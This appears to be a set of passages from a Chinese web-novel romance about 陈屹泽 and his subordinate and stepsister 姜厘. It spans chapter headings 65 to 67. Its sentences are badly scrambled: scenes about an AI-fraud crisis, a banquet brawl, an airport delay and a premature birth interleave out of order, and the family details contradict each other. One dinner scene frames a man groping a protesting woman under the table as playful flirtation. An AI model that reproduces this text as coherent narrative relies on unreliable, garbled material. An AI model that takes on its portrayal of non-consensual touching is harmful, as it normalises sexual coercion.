陈屹泽侧目看她:“你怎么知道我也很想吃掉你。” 姜厘安安静静、小口小口的吃,而陈屹泽打开平板,吃早餐的同时查看工作邮件。 在对方看过来时,她眼观鼻鼻观心,再次变成隐形人。 陈屹泽也关掉那本晦涩难懂的大部头,但仍然坐在椅子上。 早上八点半,晨光从落地窗照进来,阳光是金色的,新风机中滴了薰衣草精油,屋内散发着淡淡香气,姜厘吃好了,两人一起出门。 国外出了一桩利用AI诈骗的大型负面新闻,很多媒体都在报导,陈屹泽收到舆情分析,仔细查阅。 良心发现的把“你看我带哪个属下来过我家”、“你以为是个女的我都忍”这一类反话咽了回去。 他含着金钥匙出身,天资聪颖,一贯来炙手可热,唯这创业三年,吃了一点苦头。 手机放在桌子上,屏幕亮起,他简单回了几个信息,求情不必,道歉也免了。 和好了,姜厘当然高高兴兴。陈屹泽家床品很好,柔软轻薄,房间里有淡淡的薰衣草香,姜厘把自己卷进被窝里,滚了两下,很快睡着了。 大金毛的尾巴往她这里扫了扫,姜厘瞄一眼主人,见对方没有察觉,迅速出手,薅了一把大尾巴。 他瞥她一眼,取出一份红枣小米粥、一杯新鲜豆浆,放到她面前。 左边墙角是姜厘,右边墙角是大金毛。 早上。 邻居家大狗很有家教,碰见人便转过身去,对着电梯墙角。 在路边笑呵呵的寒暄了几句,姜老师热情的邀请他下班了过来吃饭。 真心难得,他懂这个道理。 瞥了眼姜厘那写满了“不要啊”的脸,陈屹泽愉快的应允了。 姜厘:“!!!” 美丽的一天,良好的开端,陈屹泽心情很不错,上班开会时,向汇报的主管微笑了一下。 主管脑子里“叮”了一声,整个人立刻从椅子上站了起来。 “对、对不起!” “我回去再认真搜集资料,核对数据,更正观点!” “一定不会有下一次了!” 鞠了一个深深的日本人躬。 陈屹泽:“…………” 他的笑容凝固。 姜厘回了家属楼里补觉,醒来吃了爱心午餐,看到手机信息。 同事说,今天陈屹泽比往日还更加恐怖,问她什么时候能回来。她不在,大家人心惶惶。 姜厘嘀咕,这个陈屹泽,一定又凶别人。 但上班是不可能上班的。 姜厘装作没看见信息,她也有事情要办。 根据清单,她和爸爸一起整理了拆迁所需的材料。 姜老师老花眼,翻了很多老资料出来,他看不清楚,便让闺女在旁边一样样的认。 大匣子里,还存着女儿上学时的作业本,字体板正稚嫩,每一份试卷都是一百分。 作业底下压着小时候的照片,一对双胞胎姐妹花,生的玉雪可爱,年轻夫妻一人抱着一个,是那样令人艳羡的一家人。 照片有年头了,像素不再清晰,页边掉渣。 姜老师物尽其用,拿出来也交给姜厘:“你们不是有那个什么AI翻新老照片的技术,能弄一弄吗?” 姜厘当没听见似的,埋着头,她整理着老户口本、居住证明等,递给姜老师,“爸,这些 过了有二十来分钟,还没出来。 晚上陈屹泽还真来了。 姜老师也不知道有这么一出,出来的时候,拍着陈屹泽的背,有言之不尽的意味。 姜厘带他到在小平台上待了一会儿。煎饼似的太阳渐下了山,他们谁也不说话。 刚好这时负责送酒的人也过来了,那酒从陈屹泽名下一个酒庄里取来的,刚从酒窖拿出来,还萦绕着一股橡木气味。 姜厘抱起酒,蹬蹬跑进屋子。 陈屹泽看眼厨房,抬手作势要敲她额头。 二人投机,起身去书房,姜老师给陈屹泽看一本张岱的诗文集。 陈屹泽一边吃一遍陪姜老师聊天,说一些公司的趣事,也聊一聊文学、政治,聊的还挺深。 他下班时间较晚,姜老师已经做好了菜,此时一样一样的端出来,辽参花胶东星斑,净是名贵的食材。 陈屹泽刚才和她爸爸聊了很多,听她这样说时,心里仿佛流过细微的电流。 姜厘歪头疑惑。 这时候夕阳西下,三中操场上红彤彤的,冬日的树木舒展筋骨,在微风里凛立着。 挺客气,拎着礼品袋,装着两瓶酒。酒不算特别名贵,两三千块,不会给对方带来压力,陈屹泽是受继承人教养长大的,一些接人待物的礼节,他实际学的很精细。 陈屹泽一怔。 姜老师被移开注意力,推了推眼镜:“哦,我看看……” 冬日夕阳残留了些似真似幻的余温。 他伸出手去,摸了两下她的头。 他神情不像平时,偏过了头,走进厨房,头也不回的叮嘱让姜厘招呼陈屹泽坐。 也不晓得一本旧书哪里值得看这么久。 “我觉得生活一年比一年更好了,”她认真的说。 陈屹泽单手托着脑袋,侧过目光,她把眼睛微微眯起来,眼瞳是蜜糖棕,颊边碎发翘起,渡着光。 聪明反被聪明误,酒送便宜了。 姜厘看他过来,有些惊奇,低声嘀咕:“不加班了吗?” 来上晚课的高三生从西侧门进,隔着操场,笑笑闹闹的。 姜老师在厨房,干的热火朝天,听见敲门声,支使女儿去开门。 姜厘稀里糊涂的,只以为是陈屹泽上门做客的礼物,双手接了过来,和先前那两瓶放在一起。 父女两整理完东西,走出书房,那张照片依然压在匣子最下层,没有被带出来。 老楼的楼道窄,他快一米九的大个走进来,连光都拦了大半,邻居老师也正下楼,好奇的瞅了许多眼,一直瞅到他进姜家的大门。 陈屹泽只得不请自入,环顾一圈,选了沙发中央坐下。 他也不声张,在桌下悄点了两下手机。 陈屹泽这个资本家不是什么好的,良心发现只会维持一刻钟。 晚些,他接了个技术的电话,当场拎着姜厘跟他一起去办公室加班。 夜里两点多钟,姜厘转着嘎吱响的脖子,目光瞥到窗户。 对面大厦也是同行友商,这个时间点看过去,居然也没有关灯,人影在玻璃墙后面,对着电脑,不眠不休。 其实还是为早上那个新闻,AI应用的前景看好,随之而来的风险也不容忽视。 通过AI合成视频进行诈骗,本不应该成为很大的新闻,但这次涉案人士在欧美社会颇有影响力,几个有传媒话语权的大V都站出来,表达了忧心,使得舆论有些来势汹汹。 独角兽不久后打算在美上市,目前资料做的很完备,完美符合上市要求,可政策变化往往只在一个日出日落之间,谁也不敢掉以轻心。 连夜加班,技术人员都掉了一大把头发。 而且这只是个开头。 每个人都头重脚轻,像一屋子幽灵。 陈屹泽叫了些夜宵,摆在旁边,需要的人可以自己拿取,他也在办公室里,灯亮着,白炽灯如明日。他从玻璃往外,看见姜厘在休息,于是向助理招手,示意把她叫进来。 姜厘也正有话与他聊,两人在他那张黑色真皮沙发上坐下来,认认真真的讨论产品。 说了一个多小时,姜厘的思路出来了,站起来出去 早上十点,其他组的人陆续过来上班,姜厘下班了。 熬了大夜以后,既亢奋,又晕乎,她往外走,前方则正涌来一批上班的人。 姜厘原地变成烤红薯的时候,陈屹泽捞了她一把,将她带回办公室。 他办公室是套间,里面有个起居室,能让人休息。 姜厘在里面睡觉,一睡就是一天。 下午四点钟,她迷糊的听见外面有人说话的声音,是个秀美的女声,有时婉约,有时急促, 休息室不太隔音,徐思澜听见里面有动静,又看到姜厘留在外面沙发的外套,问道:“交女朋友了?” 老陈总在商场浸淫多年,习得的毒辣手段,不光往对手身上用,还往亲儿子这里使。 “一切都是情难自已、自然流露,等你遇到你真正爱的女人,就能体会我的感受。” 陈屹泽的母亲是世家小姐,身体不好,在他十五岁的时候离开,这之后老陈空窗两年,徐思澜上位,成为风光的陈太。 徐思澜本也不是靠美丽行走江湖的,她相貌只是清秀,唯胜在气质温和,行事稳妥,挑不出错。 陈新城在徐思澜那里问不出究竟,但听她气若游丝的说“不要追究了”,霎时火冒三丈,在书房里用砚台砸陈屹泽。 “如果你母亲没有生病,我会体体面面的与她坦白,同她离婚,但那时候她生病了,思澜只好与我分手,主动调去北方分公司,那两年,我与她没有见过面,我向你母亲尽了做丈夫的所有义务。” 她做了美甲,甲面朱寇色,手背的皮肤有细微皱纹,对于养尊处优的富太来说,保养的可不算好。 陈新城大怒,切断了他所有经济来源,那时陈屹泽名下账户还有母亲信托金的收入,陈新城叫来律师,制造诉讼,用很偏门的法子暂时冻掉了那个账户。 她一毕业就在陈氏名下的银行工作,一次公关危机里反应迅速,被当时还只是太子爷的老陈看见,钦点到自己的身边当秘书。 “我知道你爱你的母亲,可难道,你一点也不能爱你的父亲吗?” 那是他们亮给外界的说法,实际上,陈母还没去世时,两人已经搞上。 “Why?”陈屹泽微诧异,语气很欠,“Still not used to it?” 伊登彻底跳脚了,用中文大声驳斥道:“我不会习惯,我永远不习惯输给你!” 陈屹泽勾唇又笑起来,直到听到他跟姜厘临别打的招呼才止住笑意。 “他说wait for you,什么意思?” 瞌睡虫被驱散,姜厘瞬间清醒,即刻义愤填膺地对伊登的背影吐口水:“只敢对唯一的女队员放狠话,恶臭的老外!” 陈屹泽不接这茬,徒自眯眼继续盘问:“你认识他?昨天晚上没在房间的那段时间?” 姜厘惊叹于陈屹泽的直觉,背后渐渐僵麻,缩头缩脑:“不认识……” 后脖颈被拎的力度加重,姜厘以为下一刻就要被拽起来逼问了,千钧一发之际,徐轻川上前一步,仗义执言:“别审了陈哥,还没看出来吗?多明显。” 三人一同望向他。 徐轻川脸被凌冽晚风吹得干巴,男生搓脸,裹紧身上羽绒服,一派凛然道:“领奖的时候站我们隔壁,我就看他一直往我们这边看,这黄毛小子肯定看上妹妹了。” 自古黄毛爱乖女, 外国黄毛也不例外,这是铁律。 姜厘倏地直起腰杆,下一秒又柔弱地倒回去,靠在陈屹泽胸膛前,神情矫揉造作:“怎么办啊哥哥,要是他对我死缠烂打怎么办,嘤嘤……” 陈屹泽低眼看着扭来扭去的姜厘,不急不缓道:“我有一计。” “哥哥你说。” “在你脸上纹一个不爱黄毛。” “……” 第 65 章 第 65 章 黄毛问题喋喋不休地议了好几程,临到登机口,姜厘才叫停了这个神经的part。 姜如云在半小时前给她发消息说她也登机了,所以下飞机回到陈宅后就能见到妈妈了。姜厘心生期待,下一秒又忍住偏头去看陈屹泽的冲动。 “果汁。” 男生从不远处踱步走来,无视掉期间路人投来的欣赏目光,随手拧开瓶盖递给她。 手背上青筋凸现,见她迟迟不接,陈屹泽又敲了下瓶壁。 “谢谢哥哥……”姜厘伸手接过饮品。 “怎么还不能登机啊,”徐轻川蔫蔫的,“比赛刚结束就有大厂负责人给我发了校期拟聘合同的电子版,我还想赶紧拿着合同回家当皇帝呢。” 姜厘和七旬老太张桂香的友谊始于一场争辩。 张桂香以人格起誓,自己的橘子绝对甜,姜厘轻信歹话,当场买了半斤,没想到这橘子酸得人神共愤。 人当场就吃吐了。 张桂香震惊不已,立马弯腰打量,夸她不显怀——宁愿觉得人怀孕都不肯相信是橘子的问题。 人怎么能固执成这种样子? 姜厘和老太太争辩起来,非让她自己尝尝。两个人谁都不肯让步,声音就此越拉越高。 张桂香信誓旦旦地表示自己的橘子天下最甜,气急了,一口气塞了半个。 酸得差点儿重返泽春。 最后还是姜厘去买来胃药,泡了两杯,张桂香喝得豪情万丈,末了舔舔嘴皮,表示自己还要再喝一杯。 药是能喝着玩儿的? 这老太太真是…… 姜厘对于亲情的记忆十分浅薄,没什么美好的相处回忆,遑论照顾老人。 她有些好笑的想:所有老人都这样好玩吗? 这些年来,她早已习惯摒弃感情和人相处,将自己置于一个安全的观察距离,拥有明确的边界,所有既定的规则,都消散在苦口婆心劝一陌生老人药不能喝这件事情上。 再说回交朋友这件事。纪隽有事要留魔都几天,赛队大获全胜,他心情一好给几个小朋友都订了头等舱,现下四人围坐在白金休息室中百无聊赖。 “不会是晚点了吧。”汤柘抱着书包,声音微弱。 此言一出,穿着齐整的空姐马上步履匆匆赶来,低腰礼貌道:“您好,很抱歉目前您们乘坐的飞往b市的航班因为天气原因晚点了,预计两小时后起飞,这边需要帮忙安排酒店吗?” 三人闭了闭眼,还没来得及吐槽,汤柘马上负荆请罪:“我乌鸦嘴……” “唉。” 再不情愿也得接受现实,姜厘疲惫地倒在陈屹泽肩上,脑袋被揉了揉。 “要去酒店吗?” “两个小时不用了吧。” 徐轻川看着面前的矮方桌,忽地举手,看向空姐:“你好。” 空姐弯腰:“您说。” “有麻将吗?” 两人一个讶异于居然有人一把年纪活得如此叛逆,认为她必然是个打发时间的好搭子。一个佩服于对方吃吐了都没有骂娘,而且十分具有辩证精神,笃定此人必然拥有美好品格。 居然惺惺相惜起来。 小安重新回去对接相关事宜,又发生了豪车事件,紧接着就是黄二妹事变,加上姜厘尚未能有效修复陈屹泽的尊严问题。 姜厘一时之间也不知去哪里好。 她重新开始在小镇独自晃荡,也因此有机会认识水果老太张桂香。 晚饭前,她会来张桂香一同卖水果,然后接近饭点的时候张桂香就会赶客,姜厘再独自绕回老屋。 相处的时候,她们偶尔聊天,大部分时间两个人都看着马路发呆。 张桂香时常会说出一些很搞笑的话,比如坚持自己是个七旬人类,依然风韵犹存。 偶尔又会透露出一些莫名其妙的文艺气息。 比如此时,起了阵大风,张桂香的水果小推车开始往坡下面梭。 晚点并没有一拖再拖,即使b市仍旧雨雾天气,机长也安全地完成了这次飞行。 徐轻川刚下飞机就跑没影了,陈屹泽和姜厘两人被司机送到陈宅,还没进门,遥遥就看见别院门口立着两个身影。 姜如云和陈妄山离开了六个月,终于赶在元旦前完成了所有工作。 “妈妈!” 姜厘刚下车就扑到姜如云怀里,她从前没有太过亲密地表达过对妈妈的情感,姜如云有些惊异,随后在路灯下静静地回抱住她。 “受委屈了?” 姜厘使劲摇摇头。 “受委屈跟叔叔说。”陈妄山很知道让姜厘受委屈的祸根在哪,故意朝陈屹泽看了一眼。 陈屹泽懒得解释,要推两人份的行李箱往里走,下一刻就被保姆阿姨接了过去,张保姆笑得眉眼弯,看着很是真诚:“少爷这段时间和姜小姐相处得可好了。” 姜厘脊背一麻,随后匆匆忙忙地推着姜如云急着要进门。 她摆摊的这个巷口地处马路边的坡头,坡下面是个十来米的死巷,左右两边店铺常年闭门,无人打扰,是个安安静静做无证经营的好地方。 平时推车都会踩刹车,但今天多半是忘了。 总之现在整车苹果正以肉眼可见的速度往坡下滑。 “张桂香,张桂香!”姜厘提醒,“你车跑了。” 张桂香坐自己的塑料小板凳上,不为所动,“它自由了。” 姜厘看了她一眼,还是起来试图把车拽住,没想到这车那么重,她只有左手能用力,即便身子后仰,但整个人都被带得往前一起梭。 她震惊之余涌出了求知欲:“你每天怎么把车搬过来的?” “你还有心管这个,”张桂香甚至劝她,“放手吧,不然你也自由了。” 姜厘缓慢滑行着,“不是,你车。” 奈何保姆管家实在想念主家,一并把两人在家的场景描述得绘声绘色。 何管家笑着跟在后面:“陈总的担忧多虑了,姜小姐和少爷只是开始的时候有过摩擦,还没一周两人就彻底变成好朋友了。” 好,朋,友。 真是一次都没撞见她被摁到墙上强吻啊。 姜厘又尴尬又无奈,偏偏两位长辈对这事十分感兴趣,这下姜如云也来了话:“应该是的,我们厘厘从小跟同学关系就好,放假了男生女生都爱找她玩,我记得汤家那个——” “妈!”姜厘赶快叫停这个禁忌的话题。 “姜厘小时候很受男生欢迎吗?”身后男声佯装有兴致,目光打在前方姜厘背部。 “是啊!”姜如云看着情绪好了很多,跟姜厘想象中被强取豪夺的金丝雀状态完全不一样,轻松道,“反正从小就这样。” 陈妄山也迈上玄关换鞋,笑道:“我这小子倒是没什么异性缘,从小到大就跟男生玩,比较内向。” “???????” 姜厘差点数不清这句话有多少个槽点。 “我们也没想到少爷和姜小姐会这么合拍,他们经常晚上一起回来,早上一起走,哦对了,两人还一起参加什么比赛,拿了全球金奖呢!”张保姆眼中流露出自豪。 “都在H大,相互照应是应该的,屹泽身为哥哥尤其该照顾妹妹,厘厘,跟叔叔说实话,小屹对你怎么样,私底下有没有欺负过你?” 自己儿子什么德性自己知道,陈妄山叫住姜厘,肃然发问。 陈屹泽换好鞋,听见这问题直接倚靠着墙,似笑非笑的眼神望着她。 姜如云打着哈哈,说着小孩子都是闹着玩的场面话,姜厘骑虎难下,闷头咬唇道:“没有,哥哥对我…好极了。” 陈屹泽直接笑出声,回过身,边走边弯唇吹了声嚣张跋扈的口哨。 姜厘感觉体内什么东西正在肆意疯长, 哦,原来是甲状腺结节。 她必然无法放手,毕竟这样一车水果对于一个七旬老太不是可以说不要就不要的东西,但现实是她无法拉住车。 加上那位风韵犹存的七旬老太也不够。 姜厘环首尝试寻找可能帮忙的人,蓦地被一道高大阴影盖住。 有一只手绕过姜厘的腰把住了车,轻飘飘拦下所有重量。 因为后仰的原因,姜厘无可避免地撞进一堵硬实温热的胸膛,身后那人被撞得闷哼一声,呼吸喷洒到她头顶,伴随着肥皂清香。 很熟悉的味道了。 姜厘被圈在推车拉手和陈屹泽之间,姿势很像后背拥抱。 她往左看,是一大堆被抱着的蔬菜,几片葱叶倔强地伸出脑袋和她对视。她往右看,右边是一条肌肉丰盈的手臂,正握住拉手尾巴,上臂难免贴到姜厘肩膀,传递着一种坚实而不容置疑的力量。 姜厘看了一眼自己手臂,再看看那条手臂,觉得人和人差距真是很大。 陈屹泽一拳能打死十个姜厘吧,她想。 还有,身边的手臂没有瞧见任何布料。 “你穿衣服了吗?”姜厘问。 陈屹泽回答:“……穿了背心。” 差点背过气时,姜如云又拍了拍她的肩帮忙顺气。 “说来我们家厘厘能得奖也是托了小屹的福,要不是小屹和他叔叔是吧……?” “对,纪隽是他叔叔,我弟随母姓。”陈妄山帮着保姆摆盘上桌,把张保姆吓了一跳,连称不用忙,“纪隽跟我说了小厘的天赋,这孩子头脑好还踏实,为人不骄不躁,很难得。” “哪有哪有,小屹才出色,一表人才智商还高……” 长辈们的商业胡吹滔滔不绝,姜厘刚落座在餐桌,裙下大腿处忽然攀上一张温热的手掌,指尖流连。 陈屹泽支着下巴,弯着眼摸到她腿根。 触电般的感受游离在裙下,姜厘神经直颤,咬住唇,强忍住不呜咽出声。 变态低着嗓音,淳淳诱导。 “哥哥都是怎么对你好的,展开说说。” 第 66 章 第 66 章 餐桌侧边接近三米的落地窗直通廊前花园,雨雾天气依旧,姜如云正弯腰给生态池中的锦鲤撒食,不时掏出手机拍上几张照片。 正前方,陈妄山亲历亲为地帮孙妈和张保姆摆放餐盘,何管家兴致勃勃,上前招呼主家去看他新淘来的复古唱片。 于是陈妄山又跟着走到距两人不到半米的黑金色花朵状留声机前,弯腰动作时,男人家居服衣尾细润地蹭上古朴色木桌,窸窸窣窣。 明明都是很小的声音,但姜厘分明觉得自己的神经都快被震碎了。 她摁住裙下故意摩挲的手指,欲哭无泪道:“妈妈还在……” “我知道,我爸也在。” 陈屹泽还在笑,他很乐意观赏姜厘此刻的表情,这会让他生出变态般想要更深一步凌.辱她的心理。 不管是谁,只要被发现就是世界末日。 这明明是姜厘半年前亲手埋下的炸弹,但莫名其妙,陈屹泽却成了握紧引爆线的那方。 周佳佳不知道从哪听到的消息,第一时间挺着大肚子回到老家,她怒气冲冲,骂着贪得无厌的舅舅,软弱可欺的爸爸,她气上了头,提前生产。 “那很好,她们会好好长大。” 考究的西装袖口摩擦她乌黑的鬓发,陈屹泽用拇指揩去她眼尾的莹光,温热的手掌托着她的脸颊。 她哭的那么安静,不发出一点声音,唯有肩膀在不住的颤抖,眼睛也红的像兔子。 她笨拙的用双手比了比,小小的,这么长,像两个大大的红萝卜。 他抬眼,对上陆允,声线平稳:“她没事。” “嗯。” 在保温箱里,小胡萝卜闭着眼睛,小手张了又合,去摸旁边的另一只小胡萝卜。 陈屹泽听得皱眉头:“现在都平安吗?” 姜厘并未出声。 “姜厘?” 陈屹泽道:“知道了。” 陆允只能向陈屹泽说话:“不好意思,陈少,这么晚还麻烦你过来 。” 陈屹泽:“不用,我该做的。你和周佳佳说,姜厘跟我在一块儿,不用担心。” 陈屹泽穿黑色羊绒大衣,肩膀宽阔平直,他单腿半跪在地,将姜厘整个搂在怀里,从陆允的视角,只能看到姜厘圆滚滚的后脑勺。 他暗想:“该做的”是什么意思?论远近亲疏,要怎样的关系才会是应该? 但知道姜厘有人照顾,陆允任务就算完成,没有废话,回去陪老婆了。 nicu外不便长久逗留,冬日寒风凛冽,陈屹泽和姜厘出了大楼,他把大衣给姜厘裹上,只露半张雪白的小脸在面,半搂着她上了车。 将姜厘带回家,让她洗脸、梳头,陈屹泽抽屉里有还有台新手机,拆了她的卡装进去,拿给她用。 姜厘一直坐在角落里,不说话也不动,跟个没开机的机器人似的。 陈屹泽看的皱眉,进书房去,给宁长舒发信询问。 他描述她的状态,但宁长舒看起来在忙,没有回信息。 等了片刻,等不下去,陈屹泽要出去看姜厘情况——门一推开,就见着姜厘站在外面。 他下意识放轻声音:“等我吗?” 姜厘抱着手机,面色焦急、惶然。 陈屹泽有心问她,可越急,她的上下嘴皮子却是不听话的黏在一起,什么也说不出来。 怀里的手机屏幕亮了,有短信提示音,姜厘低头看一眼,脸上的表情更加“……”。 陈屹泽感觉她都要哭出来了。 他没有想那么多,只是想到她今天的遭遇。 妹妹在自己面前早产,她的手机砸成那样,大概在现场和舅舅家动了手。 陈屹泽平时对她嘴坏,但心里不是,他摸摸她头发,“没事了已经。” 姜厘身体一僵。 摸不清她现在的情绪状态,陈屹泽最终还是决定顺着他。 “我、我睡着了?”姜厘瞬间清醒,很紧张的样子,点亮屏幕,一行行的看代码,整个人都好像要钻进去了。 姜厘以为他要问什么,但他没有—— 姜厘攥了攥袖子,道:“我要,去公司。” 对方也稀里糊涂,姜厘布置给他们的任务不同,但如果结合起来的话……他挠了挠头:“效果差不多是回到上一版产品。” 但陈屹泽怕自己不顺着她,她又开始哭。 刚过了下班时间俩小时,公司程序员大半在,也大半都准备走,也不知道今天什么运气,碰上了姜厘。 其实依照姜厘这个精神状态,不许她碰工作才是对的。 陈屹泽此时的姿势是弯着腰,被她用后脑勺撞到了鼻梁,发出"嘶"声。 陈屹泽轻轻一摆手,“你怎么睡个觉都不老实。” 她很紧张,手指都在颤抖,如果可以,真的希望无人知晓、无事发生。 他走开,留陈屹泽在原地沉思。 “姜厘,”陈屹泽的声音从头顶传来,低沉,不辨喜怒。 他四周看了看,从旁边拿了条午睡毯,给她披上。 陈屹泽迟疑。 陈屹泽不知道他们在做什么,在电脑后面看了会儿,眼底浮起疑惑。 她耳朵尖轻轻动了动。她听见他点鼠标,切换页面。 陈屹泽被空在一边。 两人很近,陈总低着头,挺直的鼻梁没有负伤,凝眉瞧着她。 “这些是什么?” 但,她也知道,这并不是她个人的私事,这类事故,是一定要向陈屹泽报告的。 这个点去什么公司,陈屹泽又不是周扒皮转世:“公司没事,你该休息了。” 他去房间摸出条围巾,一圈圈绕在她脖子上,之后驱车陪她去公司。 他没有打扰大家,只轻轻拍了拍一个人的肩,示意跟过来。 姜厘低下头,手机如烫手山芋,她并不觉得没事:“我们、我们不是去公司吗。” 姜厘被转了一圈,面对着陈总。 陈屹泽再去大办公室时,见几个程序员背着包走,姜厘趴在工位上,睡着了。 冲力让她往前反弹,这时陈屹泽抬手捞住她肩膀,固定在原处。 “在做什么?”他在走廊问对方。 姜厘眼前是陈屹泽的下巴尖,经过一晚,冒出了青青的胡茬,他的衬衣肩膀处喷了男式香水,海盐味儿的,织物很精细,将他肩膀的线条勾勒的清晰。 下一秒,他身体继续前倾、长臂伸出,越过她,在桌面拿起鼠标。 姜厘一手揉着眼睛,懵了一会儿,意识到状况:“疼吗疼吗,对不起对不起。” 十几分钟后,姜厘向后靠,座椅撞上了陈总一米二的大长腿。 动作明明很轻,可刚触碰到她的时候,她便惊醒过来,瞬间坐直。 姜厘开了电脑,坐到研发的大办公室去,打开办公软件,给同事发出一条又一条清晰的指令。没一会儿,几个刚上地铁的程序员挠着后脑勺,做返程回公司。 时间好似很漫长,但其实陈屹泽一目十行,看的很快。 他一个接着一个的翻,电脑幽光照在他脸上。 因为挨得很近,所以姜厘听见,他的呼吸、心跳声都变得更快了。 这意味着他的情绪有剧烈的变化。 姜厘咬紧牙关,声音因此变得闷闷的,“是我的问题。” “如果……情况变得不可控制,就让我引咎辞职。” 陈屹泽没有回答。 他的脸上没有一丝表情,但如果仔细观察,会发现他额角、下颌都是紧绷的。 片刻,他胸膛起伏,呼出一口气。 他的语调甚至很平静:“你设置了最高度的自主模式?” 姜厘:“……嗯。” “我们一般不对用户开放这个模式,之前的测试数量也比较少,你回头把数据发到公司来,算一个样本。” 姜厘摸不明白他此刻的用意,茫然的看向他。 陈屹泽也垂眸看她。 他的眼瞳如幽蓝色深海,没有波澜,有让人平静的力量。 但他其实明明应该是在不悦的。 “今天辛苦了,你去我办公室睡一觉。” 姜厘茫然。 陈屹泽已经已不容置疑的力道将她拉起,大手箍住她肩膀,将她带离工位。 “可是……” “钱转回去了吗?” “转了。” “好,”陈屹泽把她塞进去。 下一秒,在对方极度诧异的表情中,砰—— 只见陈屹泽大手扣在一名年轻男性宾客后肩,将人翻了过来。 得到回复,他毫不讶异,“都去了寿宴是吗?” 陈屹泽令ai拨通一个久违的电话,那头接的非常快。 那人被他一拳打的直接摔在地上! 陈新城在夫人和管家的搀扶下快步赶来,遥遥的看见他,脸上浮起喜色,但转瞬,被惊愕覆盖。 陈屹泽面色冷峻,目不斜视,径直入人群。 就在这时,数名统一制服的保安一齐小跑下山,打开那扇足有十米的铁艺大门。 陈屹泽大步跨入陈宅,身后保安队小跑跟随,无数宾客回头看他。 其他人听不清楚他说的什么,唯有被打者,面色剧变。 陈家宅邸,在近郊半山上,山下一池清水湾,汽车过了第一道湾后,会统一停在入口处,接着,或步行、或乘坐接驳车辆,前往山顶的陈家庄园。 陈屹泽站在那儿,深刻的五官藏在阴影之中。 “是,大家卖你父亲这个面子,来的很齐,你也知道,海城的圈子就这么点大……” 他轻轻甩了甩手,居高临下,嘴唇微动。 两位男客或携带女伴、或跟了长辈来赴宴,家属们反应过来,顿时爆发出了一阵尖叫。 在工作人员的提醒下,客人纷纷向两侧绕行,并吃惊的望向那辆车。 休息室没有窗,一片漆黑,姜厘的脑子已经不再转,太阳穴胀痛,她的cpu有点烧。 “大公子回家了!”一声急促通传,越过曲折山道,穿过香风丽影的宴会厅,如雷鸣般响在了陈新城夫妇的耳边。 陈屹泽关上了门。 人员在两侧分立,一辆炫蓝色跑车过了弯,径直开了上来。 他报上几个名字,叫对方搜了搜。 车窗里,人影影影绰绰,仍然看得出侧脸立体、英俊不羁。 来道陈的全是名流,松散走在山间道上,相互笑吟吟的问好。 两个“受害者”分别是鼎鸿钢材的二公子、理数传媒老板的侄子,前者是陈氏船舶制造子公司的最大供货商,后者是一家开业五十余年的传媒集团,都是上等的人家。 目光在围观人群里一掠,陈屹泽再次揪住一个人的衣领,单手就将那人摔翻在地。 拳头与皮肉、骨骼撞击的声音令人牙酸,而陈屹泽八风不动,浓密长睫下,眼神冷峻。 “叫人开大门,”陈屹泽淡道,“我开车,十分钟到。” 陈新城做六十大寿,场面铺的极其奢华,夹道的绿化一律重栽过,高大的合欢木下,淡紫色花卉大片盛开,据说这是他太太最喜欢的颜色,全是特意从地中海附近运来,在此地绽放三到四日,就会枯萎、再换新。 跑车刹车,在喷泉池前横停,欧式雕像立在池中,石材洁白无瑕,少女怀抱双曲瓶,静谧的双眸观详着眼下的一切。 晚上九点的街道,布满了行人和车,跑车从地库快速驶出,引擎声轰隆,惊起一树鸟雀。 而这竟还不止。 “你——” 交谈声逐渐被颅腔嗡地悬起的脑鸣代替,姜厘滞在原地,许久未动。 所以……所以?! 一切都是故意放出的绯闻?! 她爸爸和陈屹泽爸爸早年是战友,陈叔叔良苦用心全是为了保护他不便亲自出面竞标的、爸爸的建筑作品?! 那她渣了陈屹泽这件事算怎么回事? 算他倒霉吗……? 姜厘想哭。 她觉得自己也很倒霉。 《等待戈多》哪有她的人生荒诞。 第 67 章 第 67 章 姜厘忧心忡忡,想象了几种和陈屹泽坦白的画面。 1,将存款全部奉上,并强装镇定告诉他:“男欢女爱天经地义,之前看上你是姐心情好,现在姐腻了,提上裤子滚吧!” 后果:被反砸钱,冰冷的钞票一张张甩到自己脸上,对方继而狂怒,掐她脖子,压到墙上,冷笑着让她再说一遍…… 姜厘卒。 2,坦诚告知对方她的初始动机,打亲情牌哭诉自己从小就没了爸爸。 后果:宝宝好可怜,爱你一万年,将错就错缘分使然,顺理成章滚到床上酱酱酿酿,并事后装无辜:“宝宝我是为了安慰你啊,为了惩罚你之前骗我,以后每天十点自觉滚到我床上跪好,好不好?” 姜厘卒。 “你再说一遍试试?” “我说不,”姜厘道,“你收到辞呈了,我要辞职,我不想上班了。” 给陈屹泽气笑了,“你什么时候不自由了?你不是想什么时候来就什么时候来吗。” 陈屹泽将烟扔进垃圾桶里。 “没下回了,”陈屹泽在后边说。 连陈屹泽都觉得没劲。 陈屹泽堪比名模的脸在发火时依然魅力值极高,换到小圈子得有人哭着叫爸爸。但姜厘坐在沙发上,眼观鼻鼻观心,脑袋垂着,手指放在膝盖上,正跟自己玩手指打架的游戏,完全没有在听的。 “什么人太多?” 她被陈屹泽拎着,丢到办公室,又是一通牢骚。 陈屹泽几乎要磨牙:“姜厘,开口闭口就辞职,不诛心吗?” 姜厘回头:“不。” 那信上理由狗屁不通,说她想功成身退,追求自由,他横看竖看,只看见一行字:脑子秀逗了! 姜厘在脑子里给“出去”俩字设置了关键词,一触发就往外走。 “你不上班干嘛?年中就上市,几个亿的股权你当是个人就能有,四/九年退/共/党你痴线啊!?” 姜厘有些怕他,面红耳赤:“你你你别凶我,我不要那么多亿,我已经攒够钱了,我我就是想要自由点。” 说辞职倒是不结巴了!陈屹泽立刻入冬,周身的风霜把整间办公室都冻上了。 是的,开年第一天,骨干员工、技术栋梁闹辞职。 今早八点,陈屹泽从酒店醒过来,他昨夜有酒局,早起时头昏脑胀,一瞥手机屏幕,竟有姜厘发来的辞职邮件。 姜厘下意识退了一步,后腰撞到桌上,把个纸袋子给撞翻到地上了。 袋子里头装的是一件高定外套,一张卡片随之飘了出来,上面是很秀气的字体,写着:屹泽,你的外套落我这儿了。 落款是Vicky,女孩的名字。 陈屹泽用鞋尖直接把袋子踢开,态度粗鲁。 “别管这玩意,你给我说清楚。” 姜厘停了一会儿,依然说:“我说的很清楚,我,要,辞,职。” 她也知道陈总又该喷火了,双手抱住脑袋,鼠窜而逃。一点反应空间都不留给陈屹泽。 姜厘跑出去一段,还回头看,生怕陈屹泽会追出来。 还好,陈屹泽这人是要面子的,不至于跟办公楼里演急支糖浆,没有缠她。 她松口气,拍了拍胸脯。 